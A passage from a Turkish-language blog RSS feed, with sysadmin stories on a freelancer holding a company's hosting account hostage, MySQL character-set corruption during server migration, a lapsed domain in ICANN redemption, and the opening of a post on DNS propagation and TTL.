<li>Ve son ölüm vuruşu: Web sitesinin ana sayfasını siler, yerine simsiyah bir sayfa koyar:<br>
<strong>"BU SİTE YAZILIM BEDELİ ÖDENMEDİĞİ İÇİN KAPATILMIŞTIR!"</strong></li>
</ol>
<p>Hasan Bey sabah kalkar; web sitesi kapanmıştır, şirket e-postaları çalışmamaktadır, müşteriler aramakta ve o utanç verici yazıyı görmektedir!</p>
<p>Hasan Bey yazılımcıyı arar: Telefon meşgule atılır. WhatsApp'tan engellenmiştir.<br>
Şirketin tüm dijital varlığı, bir freelance yazılımcının elinde <strong>rehin kalmıştır!</strong></p>
<hr>
<h3>Destek Masasında Kopan Kıyamet</h3>
<p>Hasan Bey panik içinde hosting firmasını arar. Telefonu açan destek personeline bağırır:</p>
<blockquote>
<p><em>"Kardeşim benim sitemi gasp ettiler! Ben Hasan Tekstil'in sahibiyim! Bak vergi levham elimde, imza sirkülerim elimde! Hemen o yazılımcının koyduğu şifreleri sıfırlayın, sitemi bana geri verin! Ben bu firmanın sahibiyim, parasını ben ödüyorum!"</em></p>
</blockquote>
<p>Destek masasındaki sistem mühendisi ekranı açar.<br>
Müşteri veritabanına bakar:</p>
<ul>
<li>Müşteri Adı: <code>Caner Yıldız (Yazılımcı)</code></li>
<li>Kayıtlı E-Posta: <code>yazilimci@gmail.com</code></li>
<li>Kayıtlı Telefon: <code>0532... (Yazılımcının numarası)</code></li>
</ul>
<p>Mühendis derin bir nefes alır ve o acı hukuki gerçeği açıklar:<br>
<em>"Hasan Bey, sistemimizde bu hesabın yasal sahibi olarak Caner Bey görünmektedir. Hesap onun e-postası üzerine açılmış ve sözleşme onunla yapılmıştır. Biz yargı mercii veya mahkeme değiliz; sizin elinizdeki vergi levhasına bakarak bir başkasının hesabının şifresini size teslim edemeyiz. KVKK ve Türk Ceza Kanunu gereği bu suçtur. Lütfen savcılığa suç duyurusunda bulunun."</em></p>
<p>Hasan Bey çıldırır: <em>"Nasıl veremezsiniz?! O çocuk benim paramla aldı o hostingi!"</em></p>
<p>Evet, parayı Hasan Bey vermiştir; ama yetkiyi ve ruhsatı kendi elleriyle o çocuğun üzerine yapmıştır.</p>
<hr>
<h3>Aracı ve Hukuki Kilitlenme</h3>
<p>Hosting firması kötü niyetli değildir; fakat hosting firması bir hukuk mahkemesi de değildir.<br>
Günde onlarca kişi arayıp <em>"Ben falanca şirketin ortağıyım, ortağım beni kovdu, şifreyi bana verin"</em> veya <em>"Eşimle boşanıyoruz, sitemi geri verin"</em> demektedir. Hosting firması savcı gibi kimin haklı kimin haksız olduğuna karar veremez; sadece <strong>sistemdeki kayıtlı e-postanın iradesine</strong> bakar.</p>
<p>Sonuç ne olur?</p>
<ul>
<li>Şirket günlerce, bazen haftalarca e-postasız kalır.</li>
<li>Savcılığa suç duyurusunda bulunulur; bilişim suçları dosyasının savcının önüne gelmesi en az 4 ay sürer.</li>
<li>Müşterilere rezil olunur.</li>
<li>Ve en sonunda Hasan Bey boyun eğer: O yazılımcıyı bulur, istediği fahiş parayı elden öder ve şifrelerini yalvar yakar geri alır.</li>
</ul>
<hr>
<h3>Dijital Mülkiyeti Korumanın Altın Kuralları</h3>
<p>Bir işletme sahibiyseniz, şirketinizi bu tür dijital rehine krizlerinden korumak için şu demir disiplini uygulamak zorundasınız:</p>
<ol>
<li><strong>Hesap Asla Başkasının Adına Açılamaz:</strong> Hosting ve domain hesabını asla ajansa veya yazılımcıya açtırmayın! Hesabı bizzat şirketinizin resmi kurumsal e-postasıyla (<code>yonetim@sirketiniz.com</code>) ve kendi kredi kartınızla siz açın. Fatura şirket adına kesilmelidir.</li>
<li><strong>Yazılımcıya Ana Şifre Değil, Alt Hesap Verilir:</strong> Modern panellerde (cPanel, Plesk, AWS, Cloudflare) <strong>"Delegated Access" (Yetkilendirilmiş Alt Kullanıcı)</strong> özelliği vardır. Yazılımcıya ana hesap şifrenizi vermezsiniz; ona sadece FTP ve MySQL yetkisi olan kısıtlı bir geliştirici hesabı açarsınız. İşi bittiğinde tek tıkla yetkisini iptal edersiniz.</li>
<li><strong>Domain Transfer Kilidi Şirket Telefonuna Bağlanmalıdır:</strong> Alan adının kayıtlı olduğu panelde 2FA (iki faktörlü doğrulama) doğrudan şirket sahibinin cep telefonuna bağlı olmalıdır.</li>
<li><strong>Resmi Yazılım Sözleşmesi:</strong> Bir freelance yazılımcıyla bile çalışsanız; teslim edilecek kodların şirkete ait olduğunu, kaynak kodların ve şifrelerin alıkonulması durumunda cezai şart ödeneceğini belirten ıslak imzalı bir sözleşme yapmadan tek kuruş avans vermeyin.</li>
</ol>
<p>Tıpta evin vekaletnamesini yabancıya veren yaşlı amcayı hiçbir doktor kurtaramaz; iş mahkemeye kalır.</p>
<p>Bilişim dünyasında da şirketinizin şah damarı olan sunucu ve domain şifrelerini tanımadığınız insanlara emanet ederseniz; yarın kendi kapınızın önünde boynu bükük bir rehine olarak sabahlamayı peşinen kabul etmişsiniz demektir. Dijital anahtarlarınızı kimseye teslim etmeyin; çünkü o anahtar, şirketinizin namusudur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Hosting</category>
            <category>cPanel</category>
            <category>Müşteri İlişkileri</category>
            <category>Hukuk</category>
            <category>Siber Güvenlik</category>
            <category>SysAdmin</category>
            <category>Kültür</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ftp-sifresini-ajansa-verdim-dijital-rehine-krizi-ve-destek-masasi-caresizligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Taşıma" Vaadi ve Çöken Karakter Setleri: Soru İşaretine Dönen On Yıl]]></title>
            <link>http://localhost:3000/blog/post/sunucu-tasima-vaadi-ve-coken-karakter-setleri-soru-isaretine-donen-on-yil</link>
            <guid>sunucu-tasima-vaadi-ve-coken-karakter-setleri-soru-isaretine-donen-on-yil</guid>
            <pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA["Ücretsiz site taşıyoruz" vaadiyle transfer edilen veritabanlarının latin5 ve utf8mb4 uyuşmazlığı yüzünden soru işaretlerine (?) ve hiyerogliflere boğulması; genetik kodlama (frameshift) analojisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-tasima-vaadi-ve-coken-karakter-setleri-soru-isaretine-donen-on-yil/thumbnail" alt=""> Moleküler biyolojide ve genetik tıpta en yıkıcı, en öldürücü mutasyon türü "Çerçeve Kayması Mutasyonu"dur (Frameshift Mutation).</p>
<p>Biyolojinin temel kanunudur: Hücredeki ribozom, DNA'dan kopyalanan haberci RNA (mRNA) zincirindeki nükleotidleri (A, U, G, C) üçerli harf grupları —yani "kodonlar"— halinde okuyarak amino asitleri dizer. Örneğin: <code>AUG - GCA - UAC...</code> Her üç harf, kusursuz bir proteini inşa eder.</p>
<p>Fakat genetik zincirin arasına yanlışlıkla fazladan tek bir nükleotid girdiğinde veya tek bir harf silindiğinde ne olur?<br>
Ribozomun okuma penceresi bir harf kayar! O saniyeden sonra gelen tüm üçlüler anlamsızlaşır; ortaya çıkan protein tamamen bozulur, katlanamaz, çöker ve hücre ölür. Alfabedeki tek bir eksen kayması, kütüphaneler dolusu bilgiyi bir saniyede anlamsız bir gürültü yığınına çevirir.</p>
<p>Web hosting sektöründe, veritabanı yönetiminde ve altyapı transferlerinde de tam olarak bu genetik tercüme felaketini birebir yaşatan, her sistem mühendisinin hayatında en az bir kez soğuk terler dökmesine yol açan meşhur bir kabus vardır: <strong>"Ücretsiz Site Taşıma" Vaadiyle Yapılan Migration ve Ardından Veritabanındaki Tüm Türkçe Karakterlerin Soru İşaretine (?) Dönüşmesi.</strong></p>
<hr>
<h3>"Bize Gelin, Sitenizi Ücretsiz Taşıyalım!"</h3>
<p>Hosting firmalarının pazarlama departmanlarının en sevdiği kanca kampanyasıdır:<br>
<em>"Mevcut firmanızdan memnun değil misiniz? Bize gelin! Alanında uzman teknik ekibimiz tüm sitelerinizi, veritabanlarınızı ve e-postalarınızı eski sunucunuzdan yeni bulut altyapımıza <strong>sıfır kesintiyle ve tamamen ücretsiz</strong> taşısın!"</em></p>
<p>On yıldır aynı eski sunucuda sitesini barındıran şirket patronu bu cazip teklife kanar. Yeni paketi satın alır, eski cPanel şifrelerini desteğe iletir: <em>"Hadi bakalım, taşıyın."</em></p>
<p>Destek masasındaki genç teknisyen için bu işlem görünüşte çocuk oyuncağıdır:<br>
Eski sunucuya girilir, <code>mysqldump</code> ile veritabanı dışarı aktarılır, dosya yeni sunucuya çekilir ve <code>mysql -u root &#x3C; yedek.sql</code> komutuyla içeri basılır. İki dakikalık bir kopyala-yapıştır operasyonu!</p>
<p>Fakat o teknisyenin unuttuğu çok karanlık bir tarihsel enkaz vardır: <strong>Türkiye İnternetinin Karakter Kodlaması (Encoding) Çöplüğü.</strong></p>
<hr>
<h3>Latin5, Latin1 ve UTF-8 Arasında Kırk Yıllık Kaos</h3>
<p>1990'ların sonu ve 2000'lerin başında MySQL veritabanlarında evrensel UTF-8 standardı henüz yerleşmemişti.</p>
<p>O yıllarda Türk geliştiriciler Türkçe karakterleri (<code>ş, ğ, ı, ç, ö, ü, İ</code>) saklayabilmek için iki yola başvururlardı:</p>
<ul>
<li>Ya Windows'un ISO standardı olan <strong><code>latin5</code> (ISO-8859-9 / Turkish)</strong> karakter setini seçerlerdi,</li>
<li>Ya da MySQL'in varsayılanı olan <strong><code>latin1</code> (ISO-8859-1 / Swedish)</strong> tablosunu kullanır, fakat PHP kodunun içine <code>SET NAMES 'latin5'</code> diyerek veritabanını kandırırlardı!</li>
</ul>
<p>Daha da kötüsü: 2015'ten sonra yazılımcılar UTF-8'e geçmeye karar verdiğinde veritabanını doğru dönüştürmek yerine; o eski <code>latin1</code> tablosunun içine UTF-8 baytları yazmaya başladılar!<br>
Buna veritabanı teorisinde <strong>"Çift Kodlama" (Double Encoding / Mojibake)</strong> denir.<br>
Yani veri fiziksel olarak bir karakter setindedir; ama mantıksal olarak başka bir karakter seti gibi saklanmıştır!</p>
<p>Eski sunucudaki o eski MySQL 5.1 sürümü ve eski PHP 5.4 motoru, bu çarpık evliliği bir şekilde hoş görür ve web sitesinde yazıları düzgün gösterirdi. Çürük bir kolonun üzerinde duran ama mucize eseri yıkılmayan bir gecekondu gibi...</p>
<p>Ta ki yeni nesil, modern bir Linux sunucuya taşınana kadar!</p>
<hr>
<h3>Sabah Gelen Hiyeroglif Faciası</h3>
<p>Genç teknisyen yedeği alır.<br>
Yeni sunucuda ne çalışmaktadır? Modern <strong>MySQL 8.0 veya MariaDB 10.11.</strong><br>
Yeni sunucunun varsayılan karakter seti nedir? Dört baytlık emojileri bile destekleyen kusursuz <strong><code>utf8mb4</code> ve <code>utf8mb4_unicode_ci</code>.</strong></p>
<p>Teknisyen eski SQL dosyasını yeni veritabanına import eder.<br>
MySQL 8.0 o eski bozuk baytları okumaya çalışır:<br>
"Ben bunu okuyamıyorum, bu bayt dizilimi geçerli bir UTF-8 karakteri değil!" der.<br>
Ve geçerli olmayan her bir baytın yerine ne basar?<br>
<strong>Bir adet soru işareti: <code>?</code></strong></p>
<p>Ya da baytları kaba kuvvetle UTF-8'e zorlar ve ortaya o meşhur hiyeroglif çorbası çıkar:</p>
<ul>
<li>"Şirketimiz" kelimesi -> <strong>"Ãirketimiz"</strong></li>
<li>"Çözümlerimiz" kelimesi -> <strong>"Ã‡Ã¶zÃ¼mlerimiz"</strong></li>
<li>"İletişim" kelimesi -> <strong>"Ä°letiÅŸim"</strong></li>
</ul>
<p>Ve sabah saat 09:00'da şirket patronu yeni sunucudaki web sitesini açar.<br>
Gözlerine inanamaz!<br>
On yıllık şirket web sitesi, tüm blog yazıları, ürün açıklamaları, müşteri yorumları adeta uzaylı alfabesine veya soru işareti tarlasına dönmüştür:<br>
<em>"Firmam?z 1995 y?l?ndan beri mü?terilerine kaliteli hizmet..."</em></p>
<p>Patronun tansiyonu fırlar. Telefon ahizesi yerinden fırlar:</p>
<blockquote>
<p><em>"Siz benim sitemi ne hale getirdiniz?! On yıllık emeğimi Çinceye çevirmişsiniz! Tüm metinler soru işareti olmuş! Derhal sitemi eski haline getirin yoksa sizi mahkemede süründürürüm!"</em></p>
</blockquote>
<hr>
<h3>İki Saniyede Yok Olan Bilgi: Geri Dönüşsüz Bozulma</h3>
<p>İşin en korkunç boyutu şudur:<br>
Eğer ekranda <code>Ãirketimiz</code> görüyorsanız, hala bir umut vardır! Çünkü alttaki baytlar hala duruyordur; sadece karakter seti haritası (charset mapping) yanlıştır. Doğru bir <code>iconv</code> veya Python scriptiyle o baytlar tekrar geri çözülebilir.</p>
<p>Fakat eğer veritabanına import edilirken karakterler <strong>gerçekten <code>?</code> (soru işareti) karakterine dönüştüyse...</strong><br>
Geçmiş olsun!<br>
Çünkü soru işareti ASCII tablosunda <code>0x3F</code> baytıdır.<br>
Orijinal "Ş" harfinin de, "Ç" harfinin de, "Ğ" harfinin de o zengin bayt kimliği silinmiş; yerine tek bir <code>0x3F</code> basılmıştır!</p>
<p>Artık dünyadaki hiçbir yapay zeka veya algoritma o soru işaretinin aslında hangi harf olduğunu bilemez! Veri fiziksel ve matematiksel olarak <strong>tamamen yok olmuştur.</strong></p>
<p>Destek masasında o an başlayan çaresizlik ameliyatını yaşayan bilir:<br>
Mühendis eski sunucuya koşar. Eski sunucunun yedeğini bir daha alır.<br>
<code>mysqldump --default-character-set=latin1 --skip-set-charset</code> gibi garip parametrelerle dener.<br>
Metin editöründe 500 MB'lık SQL dosyasını açıp <code>sed</code> komutlarıyla toplu arama-değiştirme yapmaya çalışır.<br>
Saatler geçer; patron hatta bekler, genç mühendisin elleri titrer.</p>
<hr>
<h3>Veri Göçünün Cerrahi Protokolü</h3>
<p>Bir veritabanını başka bir sunucuya taşımak basit bir dosya kopyalama işlemi değil; bir <strong>kan nakli operasyonudur.</strong> Yanlış kan grubu hastayı öldürür.</p>
<p>Profesyonel bir sistem mühendisi şu kuralları asla çiğnemez:</p>
<ol>
<li><strong>Önce Karakter Kodlamasını Teşhis Edin:</strong> Yedeği almadan önce eski veritabanının değişkenlerine bakın:<br>
<code>SHOW VARIABLES LIKE 'character_set_%';</code><br>
<code>SHOW VARIABLES LIKE 'collation_%';</code><br>
Tabloların hangi sette oluşturulduğunu değil, verinin içine <strong>hangi sette yazıldığını</strong> tespit edin.</li>
<li><strong>Binary (Ham) Dump Alın:</strong> Karakter dönüşümü karmaşası yaşamamak için dump alırken <code>--default-character-set=binary</code> parametresini kullanarak veriyi karakter olarak değil, saf bayt (hex/binary) olarak çekin. Böylece MySQL taşırken araya girip harfleri bozamaz.</li>
<li><strong>Yeni Sunucuda Karakter Setini Eşleştirin:</strong> Veriyi doğrudan modern UTF-8'e zorlamayın. Önce yeni sunucuda veritabanını eski karakter setiyle (<code>latin5</code> ise <code>latin5</code>) açın, veriyi import edin. Verinin pürüzsüz geldiğini gördükten sonra, SQL komutlarıyla kontrollü olarak <code>ALTER TABLE ... CONVERT TO CHARACTER SET utf8mb4</code> diyerek dönüştürün.</li>
<li><strong>Eski Sunucuyu Asla Hemen Kapatmayın:</strong> Yeni sunucudaki tüm Türkçe karakterlerin, formların ve arama motoru sonuçlarının eksiksiz çalıştığı onaylanana kadar eski sunucu en az 1 hafta boyunca canlı bir güvence olarak açık tutulmalıdır.</li>
</ol>
<p>Tıpta genetik kodun tek bir harfi kaydığında ölümcül hastalıklar doğar.</p>
<p>Veri tabanında da tek bir karakter seti uyuşmazlığı, on yıllık bir kurumsal hafızayı soru işaretlerinden ibaret bir enkaz haline getirir.</p>
<p>Taşıma vaatlerine kanıp körlemesine veritabanı kopyalamayın. Alfabenize ve baytlarınıza sahip çıkın; çünkü dijital dünyada silinen bir harfin cenazesini hiçbir vaat kaldıramaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>Veritabanı</category>
            <category>Collation</category>
            <category>Encoding</category>
            <category>Hosting</category>
            <category>Migration</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-tasima-vaadi-ve-coken-karakter-setleri-soru-isaretine-donen-on-yil/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gece 04:00'te Domainim Düşmüş Panik Atakları": Redemption Şoku]]></title>
            <link>http://localhost:3000/blog/post/gece-0400te-domainim-dusmus-panik-ataklari-redemption-soku</link>
            <guid>gece-0400te-domainim-dusmus-panik-ataklari-redemption-soku</guid>
            <pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Gece yarısı e-postaların kesilmesiyle uykusundan fırlayan şirket sahibinin yaşadığı dijital boğulma krizi; iki ay önce süresi dolmuş alan adları ve 200 dolarlık Redemption kurtarma faturası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-0400te-domainim-dusmus-panik-ataklari-redemption-soku/thumbnail" alt=""> Acil servis nöbetlerinde hekimlerin en sık karşılaştığı gece yarısı tablolarından biri "Noktürnal Panik Atak"tır.</p>
<p>Saat gece 04:00 sularında, insan biyolojisinin en derin uyku fazında (REM uykusunda) hasta aniden boğuluyormuş gibi, nefes nefese, göğsünü tutarak yatağından fırlar. Nabız bir anda 150'ye fırlamıştır, soğuk terler boşanır, eller titrer ve zihni saf bir "ölüm korkusu" (angst) kaplar. Hasta pijamalarıyla acil servise koşar: <em>"Doktor bey kalp krizi geçiriyorum, nefesim tıkandı, ölüyorum!"</em></p>
<p>EKG çekersiniz, kan troponin değerlerine bakarsınız: Kalpte hiçbir fiziksel tıkanıklık yoktur.<br>
Fakat beynin amigdala bölgesi öyle bir sahte alarm üretmiştir ki, o dehşet anında hastanın tüm bedenini gerçek bir felaketin ortasındaymış gibi felç etmiştir.</p>
<p>Web hosting firmalarının, alan adı tescil operatörlerinin (Registrar) 7/24 nöbetçi destek ekipleri de çok iyi bilir ki; gece saat 04:00'te çalan o acil telefonların arkasında tam olarak bu panik atakla uykusundan fırlamış bir şirket patronu vardır: <strong>"Domainim Düştü, Sitemi Çaldılar!" Histerisi.</strong></p>
<hr>
<h3>Gece Yarısı Gelen Sessiz Kesinti</h3>
<p>Olaylar genellikle gece saat üç ile dört arasında patlak verir.<br>
Uluslararası ticaret yapan veya e-ticaret sitesi olan şirket patronu, gece yarısı su içmek için uyanır. Alışkanlık gereği komodindeki akıllı telefonunun ekranına bakar.</p>
<p>Ekranda garip bir sessizlik vardır. Her gece onlarca bildirim, sipariş veya müşteri e-postası düşen gelen kutusunda saat 01:00'den beri tek bir e-posta bile yoktur.<br>
Patron şüphelenir. Telefonun tarayıcısını açar, şirketinin web sitesine girmeye çalışır: <code>www.sirketiniz.com</code>.</p>
<p>Ekranda şirketinin o kurumsal ana sayfası açılmaz.<br>
Karşısına beyaz bir sayfa, üzerinde yabancı bir şirketin logosu ve İngilizce kocaman harflerle yazılmış o tarihi felaket cümlesi çıkar:<br>
<strong>"THIS DOMAIN HAS EXPIRED ON 15/02/2026. RENEW NOW OR BUY THIS DOMAIN!"</strong></p>
<p>Patronun başından aşağı kaynar sular dökülür!<br>
Kalbi deliler gibi çarpmaya başlar. Boğazı kurur.<br>
Aklından tek bir düşünce geçer:<br>
<em>"Sitemi çaldılar! Şirketime kumpas kurdular! Rakipler alan adımı elimden aldı, battık!"</em></p>
<hr>
<h3>7/24 Nöbetçi Destek Hattında Kıyamet</h3>
<p>Saat 04:12.<br>
Hosting firmasının nöbetçi destek mühendisinin önündeki IP telefon acı acı çalmaya başlar.<br>
Mühendis telefonu açar: <em>"İyi geceler, nasıl yardımcı olabilirim?"</em></p>
<p>Ahizeden bir insanın çıkarabileceği en yüksek desibelde bir çığlık yükselir:</p>
<blockquote>
<p><em>"Alooo! Kardeşim siz uyuyor musunuz orada?! Benim 15 yıllık şirketimin sitesini hacklediler! Domainimi başkasına satmışlar! Sitemde yabancı reklamlar çıkıyor! Bütün banka hesaplarımız, müşteri yazışmalarımız o domaindeydi! Hemen o korsanları bulun, sitemi geri alın yoksa sabah ilk iş savcılığa gidiyorum, hepinizi hapse attıracağım!"</em></p>
</blockquote>
<p>Destek mühendisi yılların tecrübesiyle son derece sakindir.<br>
Müşterinin alan adını alır, terminali açar ve o evrensel sorguyu çalıştırır:<br>
<code>whois sirketiniz.com</code></p>
<p>Terminal ekranına gelen satırları okur:</p>
<ul>
<li><code>Domain Name: sirketiniz.com</code></li>
<li><code>Registry Expiry Date: 2026-02-15</code> (Yani tam <strong>53 gün önce</strong> süresi dolmuş!)</li>
<li><code>Domain Status: redemptionPeriod (https://icann.org/epp#redemptionPeriod)</code></li>
</ul>
<p>Mühendis derin bir nefes alır. Telefonun diğer ucundaki o panik atak geçiren patrona gerçeği fısıldar:<br>
<em>"Beyefendi, sitenizi kimse hacklemedi. Rakipleriniz de bir şey yapmadı. Alan adınızın süresi 15 Şubat'ta bitmiş. Üzerinden neredeyse iki ay geçmiş. Sistemimiz size son 60 gün içinde tam 8 adet 'Alan adınızın süresi doluyor, lütfen yenileyin' başlıklı otomatik uyarı e-postası göndermiş; ama hiçbirini yenilememişsiniz."</em></p>
<p>Patron hatta bir anlığına donakalır.<br>
Ardından o klasik savunma gelir:<br>
<em>"Bana mail falan gelmedi kardeşim! Geldi de ben mi ödemedim? Yıllık 15 dolarlık şey, ben bunu niye ödemeyeyim?!"</em></p>
<hr>
<h3>Spam Kutusunda Çürüyen Sekiz Adet Uyarı</h3>
<p>İşin aslı şudur:<br>
Müşteri alan adını 5 yıl önce tescil ederken irtibat e-postası olarak şirket muhasebecisinin veya eski bir personelin kişisel Hotmail adresini yazmıştır.<br>
O personel üç yıl önce işten ayrılmıştır.<br>
Tescil firmasının ICANN kuralları gereği gönderdiği o yasal uyarılar:</p>
<ul>
<li>"Sürenizin bitmesine 30 gün kaldı..."</li>
<li>"Sürenizin bitmesine 7 gün kaldı..."</li>
<li>"Süreniz bugün doldu, siteniz durduruldu..."</li>
<li>"Grace Period son günü..."</li>
</ul>
<p>Bütün bu uyarılar o terk edilmiş e-posta kutusunun spam klasöründe sessizce çürümüştür!</p>
<p>Şirket patronu iki ay boyunca hiçbir şeyin farkına varmamıştır; çünkü tarayıcısının yerel DNS önbelleği (cache) siteyi bir süre daha eski IP'den açmaya devam etmiş, araya bayram tatilleri girmiş ve kimse dönüp bakmamıştır.</p>
<p>Ta ki alan adı ICANN'in en acımasız evresine düşene kadar: <strong>Redemption Period!</strong></p>
<hr>
<h3>"Redemption Period" Şoku: 15 Dolarlık Şey Nasıl 250 Dolar Olur?!</h3>
<p>Patron hatta biraz sakinleşir:<br>
<em>"Neyse tamam, haklısınız gözden kaçmış. Verin bana IBAN numaranızı, o 15 doları hemen havale edeyim, açın şu siteyi."</em></p>
<p>İşte gecenin asıl ikinci kalp krizi tam burada başlar!<br>
Mühendis yutkunur ve o acı faturayı açıklar:<br>
<em>"Maalesef Hasan Bey, alan adınız artık normal yenileme döneminde değil. 'Redemption Period' yani cezalı kurtarma aşamasında. Alan adınızı ana kayıt operatöründen (Verisign vb.) kurtarabilmemiz için ICANN cezası ve kurtarma harcı olarak <strong>200 Dolar + KDV</strong> ödemeniz gerekmektedir."</em></p>
<p>Hattın diğer ucundan gelen o ses:<br>
<em>"NEEE?! Yahu 15 dolarlık şey nasıl 200 dolar olur?! Siz fırsatçı mısınız, tefeci misiniz, benden haraç mı kesiyorsunuz?!"</em></p>
<p>Patron durumu kavrayamaz. Sanır ki hosting firması gecenin bir yarısı kendisini köşeye sıkıştırıp fidye istemektedir!</p>
<p>Oysa o parayı hosting firması almaz; o para ICANN ve küresel kök yazmanların (Registry), unutulan ve cezaya düşen alan adlarını silinmekten kurtarmak için koyduğu uluslararası resmi bir cezadır!</p>
<p>Ve patronun önünde sadece iki seçenek vardır:</p>
<ol>
<li>Ya o 200 doları (güncel kurla binlerce lirayı) tıpış tıpış ödeyecek ve 15 yıllık markasını sabaha kadar kurtaracaktır;</li>
<li>Ya da <em>"Ben bu parayı vermem"</em> diyerek inat edecek; alan adı 10 gün sonra tamamen silinip boşa çıktığında (Pending Delete bittiğinde), uluslararası botların o adı saniyesinde kapmasını ve ertesi gün 5.000 dolara açık artırmada satmasını çaresizce izleyecektir!</li>
</ol>
<p>Patron küfürler ederek kredi kartını çıkarır ve o 200 dolarlık faturayı elleri titreyerek öder.</p>
<hr>
<h3>Dijital Tapuya Sahip Çıkmanın Ahlakı</h3>
<p>Bir şirket için alan adı (domain); ofisin tapusundan, şirketin tescilli markasından çok daha kıymetlidir. Ofisiniz yanarsa başka yere taşınırsınız; ama alan adınızı kaybederseniz tüm dijital varlığınız, itibarınız ve geçmişiniz buharlaşır.</p>
<p>Bu gece yarısı panik ataklarını yaşamamak için kurallar basittir:</p>
<ul>
<li><strong>Whois İrtibat Bilgilerini Kutsal Bilin:</strong> Alan adı tescilindeki yetkili e-posta adresini asla personelin şahsi maili yapmayın. Şirket sahibinin bizzat her gün baktığı ana kurumsal e-posta adresini tanımlayın.</li>
<li><strong>Otomatik Yenileme (Auto-Renew) Açık Olmalıdır:</strong> Tescil panelinde otomatik yenilemeyi açın ve geçerlilik süresi en az 3 yıl olan kurumsal bir sanal kredi kartını sisteme bağlayın.</li>
<li><strong>Takvim Alarmı:</strong> Kritik alan adlarınızın yenileme tarihini şirket takviminize, telefonunuza her yıl bir ay öncesinden ötecek şekilde kırmızı alarmla kaydedin.</li>
</ul>
<p>Tıpta nefesi kesilip acile koşan panik atak hastası, ihmal ettiği ruh sağlığının bedelini öder.</p>
<p>Bilişimde de 15 dolarlık alan adının yenilemesini unutan patron; gece saat 04:00'te soğuk terler dökerek o 200 dolarlık cezayı ödemeye mahkûmdur. Dijital tapunuzu sahipsiz bırakmayın; çünkü unutulan her mülk, sahibine ağır bir fatura çıkarır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Whois</category>
            <category>ICANN</category>
            <category>Redemption</category>
            <category>Hosting</category>
            <category>SysAdmin</category>
            <category>İş Hayatı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-0400te-domainim-dusmus-panik-ataklari-redemption-soku/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["A Kaydını Yaptım, Hemen Açılsın": DNS Yayılımı (Propagation) ve TTL Sınavı]]></title>
            <link>http://localhost:3000/blog/post/a-kaydini-yaptim-hemen-acilsin-dns-yayilimi-propagation-ve-ttl-sinavi</link>
            <guid>a-kaydini-yaptim-hemen-acilsin-dns-yayilimi-propagation-ve-ttl-sinavi</guid>
            <pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[DNS A kaydını değiştirdikten otuz saniye sonra "Hâlâ eski site açılıyor!" diye destek masasını basan müşterinin sabırsızlığı; farmakokinetik emilim süreci ve küresel DNS önbelleklerinin muhafazakar doğası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/a-kaydini-yaptim-hemen-acilsin-dns-yayilimi-propagation-ve-ttl-sinavi/thumbnail" alt=""> Farmakoloji ve klinik tıpta hekimlerin hastalara anlatmakta en çok zorlandığı biyolojik kavramlardan biri "Farmakokinetik ve Biyoyararlanım" (Absorption &#x26; Bioavailability) sürecidir.</p>
<p>Şiddetli bir migren veya diş ağrısıyla kıvranan bir hasta düşünün. Eline bir ağrı kesici tablet (örneğin ibuprofen veya parasetamol) alır, bir bardak suyla yutar.<br>
Ve hapı yuttuktan tam <strong>kırk beş saniye sonra</strong> hekime döner:<br>
<em>"Doktor bey ilacı içtim ama dişim hâlâ zonkluyor! Bu ilaç sahte mi, niye hemen kesmedi ağrımı?!"</em></p>
<p>Hekim sabırla biyolojinin kurallarını izah etmeye çalışır:<br>
O tabletin önce midede mekanik olarak parçalanması, mide asidinde çözünmesi, oniki parmak bağırsağına geçmesi, bağırsak epitelinden kılcal damarlara emilmesi, portal ven yoluyla karaciğere ulaşıp ilk geçiş metabolizmasından geçmesi ve oradan genel kan dolaşımına karışıp beyindeki prostaglandin reseptörlerini bloke etmesi <strong>en az 20 ila 45 dakika sürer!</strong></p>
<p>İnsan vücudu bir elektrik düğmesi değildir; biyokimyasal reaksiyonların ve dolaşımın kendine has, hızlandırılamaz bir zaman akışı vardır.</p>
<p>İnternet altyapısında, web hosting operasyonlarında ve alan adı yönetiminde de her gün binlerce kez tekrarlanan, müşterilerin dijital dünyayı bir elektrik anahtarı zannetmesinden kaynaklanan meşhur bir cehalet sahnesi vardır: <strong>DNS A Kaydını Değiştirdikten 30 Saniye Sonra "Hâlâ Eski Site Açılıyor, Yönlendirmeyi Beceremediniz!" Diye Bilet Açan Müşteri.</strong></p>
<hr>
<h3>"Kaydet" Butonuna Basıldığı O Kutsal Otuz Saniye</h3>
<p>Senaryo Türk internetinin en popüler komedilerinden biridir.<br>
Müşteri yeni bir sunucu kiralamıştır veya web sitesini başka bir sağlayıcıya taşımıştır.<br>
Alan adı yönetim paneline girer. DNS Yönetimi menüsünü açar.<br>
Orada duran "A Kaydı"nı (Address Record) düzenler:</p>
<ul>
<li>Eski IP: <code>185.100.20.5</code></li>
<li>Yeni IP: <code>212.45.60.80</code></li>
</ul>
<p>Müşteri mavi "KAYDET" butonuna basar.<br>
Ekranda yeşil bir bildirim çıkar: <em>"DNS kayıtlarınız başarıyla güncellendi."</em></p>
<p>Müşteri koltuğuna kurulur.<br>
Saatine bakar: 10 saniye geçmiştir.<br>
Yeni bir tarayıcı sekmesi açar, sitesinin adresini yazar: <code>www.sirketiniz.com</code> ve <code>enter</code>a basar.</p>
<p>Ve ekranda... Hâlâ eski sunucudaki o eski web sitesi açılır!<br>
